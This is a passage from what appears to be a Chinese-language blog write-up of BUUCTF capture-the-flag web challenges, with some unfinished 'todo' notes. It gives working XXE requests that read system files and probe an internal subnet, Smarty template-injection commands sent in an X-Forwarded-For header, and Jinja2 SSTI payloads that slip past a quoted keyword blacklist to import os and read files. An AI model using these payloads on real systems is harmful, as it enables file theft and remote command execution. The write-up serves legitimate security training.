User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.56
Content-Type: application/xml;charset=UTF-8
Origin: http://9d784dd6-4cb7-49c5-b356-10eb8b80e9df.node3.buuoj.cn
Referer: http://9d784dd6-4cb7-49c5-b356-10eb8b80e9df.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

<user><username>123</username><password>123</password></user>

其中发现Content-Type: application/xml;charset=UTF-8,说明可能存在xxe实体注入漏洞,尝试XXE攻击,线寻找回显点。构造请求:

POST /doLogin.php HTTP/1.1
Host: 9d784dd6-4cb7-49c5-b356-10eb8b80e9df.node3.buuoj.cn
Content-Type: application/xml;charset=UTF-8
Content-Length: 106

<!DOCTYPE a[
    <!ENTITY b "abc">
]>

<user><username>&b;</username><password>admin</password></user>

响应是:

<result><code>0</code><msg>abc</msg></result>

发现存在回显点,说明存在xxe漏洞,尝试利用file://php://等伪协议进行获取文件,构造请求:

POST /doLogin.php HTTP/1.1
Host: 9d784dd6-4cb7-49c5-b356-10eb8b80e9df.node3.buuoj.cn
Content-Type: application/xml;charset=UTF-8
Content-Length: 126

<!DOCTYPE a[
    <!ENTITY b system "file:///flag.php">
]>

<user><username>&b;</username><password>admin</password></user>

响应报错,不存在这样的文件,尝试访问Linux各种配置文件:

/etc/hosts 储存域名解析的缓存
/etc/passwd 用户密码
/proc/net/arp 每个网络接口的arp表中dev

构造请求:

POST /doLogin.php HTTP/1.1
Host: 9d784dd6-4cb7-49c5-b356-10eb8b80e9df.node3.buuoj.cn
Content-Type: application/xml;charset=UTF-8
Content-Length: 127

<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/hosts">
]>

<user><username>&b;</username><password>admin</password></user>

响应没有发现有价值的内容。

构造请求访问/proc/net/arp

POST /doLogin.php HTTP/1.1
Host: 9d784dd6-4cb7-49c5-b356-10eb8b80e9df.node3.buuoj.cn
Content-Type: application/xml;charset=UTF-8
Content-Length: 130

<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///proc/net/arp">
]>

<user><username>&b;</username><password>admin</password></user>

响应中有一个服务器10.0.8.2,利用C段嗅探找到可用的内网服务器。

C段指的是同一内网段内的其他服务器,每个IPABCD四个段,举个例子,192.168.0.1A段就是192B段是168C段是0D段是1,而C段嗅探的意思就是拿下它同一C段中的其中一台服务器,也就是说是D1-255中的一台服务器,然后利用工具嗅探拿下该服务器。

用Burp Suite爆破D段,在属于10.0.8.11的响应中发现flag。

References

https://blog.csdn.net/weixin_43221560/article/details/108152738

https://www.cnblogs.com/renhaoblog/p/13026361.html

https://www.icode9.com/content-4-802965.html

[CISCN2019 华东南赛区]Web11

todo为什么能想到{if}

打开网页,网页底部提示:Build with Smarty

构造请求:

GET / HTTP/1.1
Host: node3.buuoj.cn:26290
X-Forwarded-For: {if system("ls /")}{/if}

输出根目录文件,发现flag文件。

构造请求:

GET / HTTP/1.1
Host: node3.buuoj.cn:26290
X-Forwarded-For: {if system("cat /flag")}{/if}

得到flag。

References

https://webcache.googleusercontent.com/search?q=cache:Stzr1ION8tcJ:https://www.cnblogs.com/kanowill/p/12856683.html+&cd=1&hl=zh-CN&ct=clnk

https://www.freebuf.com/column/219913.html

[GYCTF2020]FlaskApp

方法一 SSTI读文件

打开题目,提示是flask框架,说明需要用到ssti

发现base64解密时,随便输入一个不符合base64格式的字符串会报错,在报错信息中找到/app/app.py,点开发现app.py源码。

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

但这只是一部分,想办法获取app.py完整的源码,需要读取app.py

base64加密以下字符串:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__.__builtins__.open('app.py','r').read() }}{% endif %}{% endfor %}

或者:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__.open('app.py','r').read() }}

然后在解密页面用base64解码,网页回显app.py的源码,发现黑名单:

black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]

屏蔽了flagimportos等词。

尝试读取目录,base64加密以下字符串:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/') }}{% endif %}{% endfor %}

或者:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

然后在解密页面用base64解码,发现flag文件为:this_is_the_flag.txtbase64加密以下字符串:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

或者:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__.open('/this_is_the_fl'+'ag.txt','r').read()}}

用切片避免字符串拼接:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__.open('txt.galf_eht_si_siht/'[::-1],'r').read()}}

然后在解密页面用base64解码,得到flag。

todo payload解释一下。。

References

https://blog.csdn.net/qq_45521281/article/details/106639111

https://blog.csdn.net/Alexhcf/article/details/108400293

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#jinja2

https://zhuanlan.zhihu.com/p/32138231

https://webcache.googleusercontent.com/search?q=cache:mBcxIwryiNcJ:https://www.cnblogs.com/MisakaYuii-Z/p/12407760.html+&cd=2&hl=zh-CN&ct=clnk

https://www.cnblogs.com/h3zh1/p/12694933.html

方法二 PIN码爆破

todo有时间再看。

标签:__,Web,BUUCTF,第二页,flag,https,POST,php,com
来源: https://blog.csdn.net/weixin_45646006/article/details/118607574